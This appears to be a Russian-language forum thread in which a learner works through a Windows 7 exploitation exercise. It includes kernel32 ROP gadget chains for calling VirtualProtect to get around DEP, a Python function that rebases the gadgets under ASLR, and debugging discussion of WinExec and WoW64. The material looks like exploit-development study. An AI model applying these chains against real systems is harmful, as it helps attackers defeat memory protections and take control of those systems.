отключены stack cookies, включен DEP, работает ASLR , ОС Windows 7
выручайте что не так?

#3

Стек не правильный. Нужно сдвинуть на 4 байта. Когда стоишь на первой инструкции в WinExec, указатель на строку, должен лежать по адресу (ESP+4) 17FAB8, а по адресу (ESP+0) 17FAB4 должен лежать адрес, на который пойдет управление, после завершения выполнения функции WinExec.

#4

все верно это происходит из за неправильной передачи управления в последней строке из за retn 4

вот так все работает :slight_smile:

кстати моя цепочка издает какие то звуки(пик-пик-пик-…-пик) не могли бы вы объяснить почему?
кажется это началось на этапе когда мне нужно было уменьшить регистр edi

не смог найти годных “sub edi,*” мнемоник, поэтому использовал столько DEC и INC

и еще что за магическое значение uCmdShow = 0x01010101 ?

#5

Это SW_SHOW = 0x0101, вторая половина DWORD’а никак не учитывается, и нужна для того, чтобы не было нулевых байтов (насколько я понимаю).

#6

0x0101 это 257 в десятичной системе SW_SHOW вроде типа инт если это оно https://msdn.microsoft.com/ru-ru/library/windows/desktop/ms633548(v=vs.85).aspx
просто чет лень смотреть как там оно обрабатывается, думал вы расскажете за волшебство)
с SW_SHOW = 0х55555555 (21845) тоже отлично работает а вот с 0х99999999 (270F) даже процесса нет
но это меня не так сильно волнует как то что на пароходе музыка играет
есть какой то сигнальный байт при операции чтении записи или это так консоль работает?

#7

Да, думал про одно, написал про другое. Первый байт учитывается только и тогда это SW_SHOWNORMAL 0x1.

Я на шеллкод не смотрел и не загружал его. Отладчик есть, трассируй и смотри, где чего пикает.

#8

пытаюсь добить эту часть) строю цепь для VirtualProtect

если мона не может найти все гаджеты для записи значений в регистры в простейшем виде по типу

она может построить не правильную цепь (регистры заполненные нужным значением могут быть перезаписаны мусором + не верно вычислены ret)
вот мой пример

Hide

rop_gadgets = [
0x76596664, # POP EBP # RETN [kernel32.dll]
0x76596664, # skip 4 bytes [kernel32.dll]
0x765bd79e, # POP EBX # RETN [kernel32.dll]
0x00000201, # 0x00000201-> ebx
0x7662fae0, # POP EDX # POP EAX # RETN [kernel32.dll]
0x00000040, # 0x00000040-> edx
0x41414141, # Filler (compensate)
0x7663b6fa, # POP ECX # POP ECX # MOV EAX,80070057 # POP ESI # POP EBP # RETN 0x08 [kernel32.dll]
0x7666090a, # &Writable location [kernel32.dll]
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x765bd815, # POP EDI # POP ESI # POP EBP # RETN [kernel32.dll]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x765c3d9b, # RETN (ROP NOP) [kernel32.dll]
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x7663d538, # POP ESI # RETN [kernel32.dll]
0x76599223, # JMP [EAX] [kernel32.dll]
0x76590abc, # POP EAX # RETN [kernel32.dll]
0x76590928, # ptr to &VirtualProtect() [IAT kernel32.dll]
0x7664b1a8, # PUSHAD # RETN 0x0C [kernel32.dll]
0x765bdc6b, # ptr to 'push esp # ret ’ [kernel32.dll]
]

исправленная цепь

Hide

rop_gadgets = [

0x765bd99f, # POP ECX # POP EBX # RETN 0x04 ** [kernel32.dll]
0x7666090a, # &Writable location [kernel32.dll]
0x41414141, # Filler (compensate)

0x765bd815, # POP EDI # POP ESI # POP EBP # RETN [kernel32.dll]
0x41414141, # Filler (RETN offset compensation)
0x765c3d9b, # RETN (ROP NOP) [kernel32.dll]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)

0x76596664, # POP EBP # RETN [kernel32.dll]
0x76596664, # skip 4 bytes [kernel32.dll]

0x765bd79e, # POP EBX # RETN [kernel32.dll]
0x00000400, # 0x00000201-> ebx
0x7662fae0, # POP EDX # POP EAX # RETN [kernel32.dll]
0x00000040, # 0x00000040-> edx
0x41414141, # Filler (compensate)

0x7663d538, # POP ESI # RETN [kernel32.dll]
0x76599223, # JMP [EAX] [kernel32.dll]
0x76590abc, # POP EAX # RETN [kernel32.dll]
0x76590928, # ptr to &VirtualProtect() [IAT kernel32.dll]
0x7659d59d, # pushad # add al,0 # retn | {PAGE_EXECUTE_READ}

0x765bdc6b, # ptr to 'push esp # ret ’ [kernel32.dll]
0x765bdc6b, # ptr to 'push esp # ret ’ [kernel32.dll]
]

вот так выглядит стек когда я захожу в VirtualProtect

http://rgho.st/7rmSSHWn4

вроде все так и должно быть, но память в стеке не стала исполняемой + в eax лежит 0
если я правильно понимаю это возвращаемое значение функции и у меня проблема
пишу в отладчике !teb

объясните пожалуйста что пошло не так и на что мне нужно обратить свое внимание
я трассирую VirtualProtect первый раз встречаю c0000045 в регистре eax после мнемоники call esi
в esi лежит адрес ntdll!ZwProtectVirtualMemory

#9

если кто то будет мусолить эту тему так же долго да еще и с включенным ASLR как я, оставляю тебе функцию в помощь для пересчета цепи

def rop_chain(rop_gadgets):
    kernel32_old = 0x76580000
    i = 0
    for element in rop_gadgets:     
        if hex(element)[0:4]==hex(kernel32_old)[0:4]:
            rop_gadgets[i]=element-kernel32_old+kernel32
        print hex(rop_gadgets[i])
        i=i+1
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
#10

разбираюсь сам и не понимаю почему после add esp,4 меня перебрасывает черт пойми куда и почему так происходит
вот пару скриншотов
http://rgho.st/7dmYxc8xy
http://rgho.st/6P6YJX8zl

#11

кажется дело в команде jmp 0033:74C7271E (не изменился сегмент cs)
нашел такую статью http://blog.rewolf.pl/blog/?p=102

происходит переключение в x64 мод поэтому дальше трассировка из под x86 отладчика не возможна
я запустил windbg x64 и выяснил что передача управления переходит на wow64cpu!CpupReturnFromSimulatedCode
циферок стало в два раза больше)))